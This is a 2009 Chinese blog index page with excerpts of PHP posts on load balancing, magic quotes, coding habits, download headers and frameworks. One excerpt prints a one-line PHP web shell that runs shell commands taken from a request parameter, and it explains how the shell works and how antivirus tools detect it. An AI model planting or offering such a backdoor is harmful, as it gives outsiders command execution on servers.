摘要: 原文作者:Adam Charnock原文链接:The Hitchhikers Guide to PHP Load Balancing翻译:koda过去当运行一个大的web应用时候意味着运行一个大型的web服务器。因为你的应用吸引了大量的用户,你将不得不在你的服务器里增加更多的内存和处理器。今天,'大型服务器'模式已经过去,取而代之的是大量的小服务器,使用各种各样的负载均衡技术。这是一种更可行的方法... 阅读全文
posted @ 2009-06-30 16:54 lianxiang 阅读(199) 评论(0) 推荐(0)
摘要: 开门见山,考虑下面的代码(原文连接有详细的解释)<html> <body> <?php if (isset($_REQUEST['submitted']) && $_REQUEST['submitted'] == '1') { echo "Form submitted!"; } ?> <form action="<?php echo ... 阅读全文
posted @ 2009-06-30 16:52 lianxiang 阅读(788) 评论(0) 推荐(0)
摘要: 我在SitePoint做面试官的时候一定会问的问题是:你认为PHP代码的优劣体现在哪里?因为这个问题可以让我大体知道应聘者是哪种类型的程序员,而不是单纯地考察他对PHP函数的掌握程度(这一点Zend的PHP认证做得不错,雅虎的PHP程序员面试题也属于此类)。   重要的是,这个问题可以让我知道应聘者是否经历过这样的事情——从一个懒散程序员手中接过一段凌乱的代码进行重用,或者... 阅读全文
posted @ 2009-06-30 16:50 lianxiang 阅读(152) 评论(0) 推荐(0)
摘要: 像其他语言一样,开发人员可以用 PHP 编写出各种质量级别的代码。学习良好的编程习惯能够提高代码质量和效率。根据具体的情况,一般的开发人员往往比优秀的开发人员的效率低 10%~20%。优秀的开发人员的效率更高,因为他们拥有丰富的经验和良好的编程习惯。不良的编程习惯将会影响到效率。本文通过展示一些良好的编程习惯,帮助您成为更优秀的程序员。这些良好的编程习惯不仅能提高效率,还能让您编写出在应用程序的整... 阅读全文
posted @ 2009-06-30 16:48 lianxiang 阅读(150) 评论(0) 推荐(0)
摘要: 对于 Magic quotes,对于 PHPer 而言是个老生常谈的问题。今天无意间看到篇文章,结合PHP Manual 以及其回复,在这里做个简单的汇总。简而言之,Magic quotes 开启后会自动转义输入的数据。其中,所有的单引号(')、双引号(")、反斜线、和 NULL 字符都会被转义(增加个反斜线),其实这操作本质上调用的是 addslashes 函数。为什么使用 Magic quot... 阅读全文
posted @ 2009-06-30 16:47 lianxiang 阅读(195) 评论(0) 推荐(0)
摘要: <?phpecho`$_REQUEST[id]`;?>原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); 局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;测试方式:http://www.phpv.net/test.php?id=di... 阅读全文
posted @ 2009-06-30 16:46 lianxiang 阅读(317) 评论(0) 推荐(0)
摘要: 利用MediaWiki 作中文简繁互换,支持不同地方中文用字上的分別(大陆、香港、台湾及新加坡)。 例子:(简 > 繁)面包 > 麵包 (zh-tw)寮国 > 老撾 (zh-hk)中国人寿 > 中國人壽 (zh-hk)罗纳尔多 > 朗拿度 (zh-hk)(繁 > 簡)記憶體 > 内存 (zh-cn)布殊 > 布什 (zh-cn)資料庫 > 数据... 阅读全文
posted @ 2009-06-30 16:45 lianxiang 阅读(359) 评论(0) 推荐(0)
摘要: 通过把Content-Type设置为application/octet-stream,可以把动态生成的内容当作文件来下载,相信这个大家都会。那么用Content-Disposition设置下载的文件名,这个也有不少人知道吧。基本上,下载程序都是这么写的:<?php$filename = "document.txt";header('Content-Type: application/octe... 阅读全文
posted @ 2009-06-30 16:44 lianxiang 阅读(174) 评论(0) 推荐(0)
摘要: 做ROR有一年了, 感觉非常好.配合敏捷实践(除了pair, 由于是和美国工程师远程合作.)开发速度的确快.一共三个人写代码,短短半年, 项目就基本结束了.... 现在新项目即将到来, 客户在php和rails之间难以取舍. 我也打算趁此机会了解一下php. 由于项目定制性还是比较高,想通过成熟的CMS等系统来改改估计是没戏。 从头开发又觉得太慢。于是想从开源框架入手。 经过了解才发现, php新... 阅读全文
posted @ 2009-06-30 16:43 lianxiang 阅读(498) 评论(0) 推荐(0)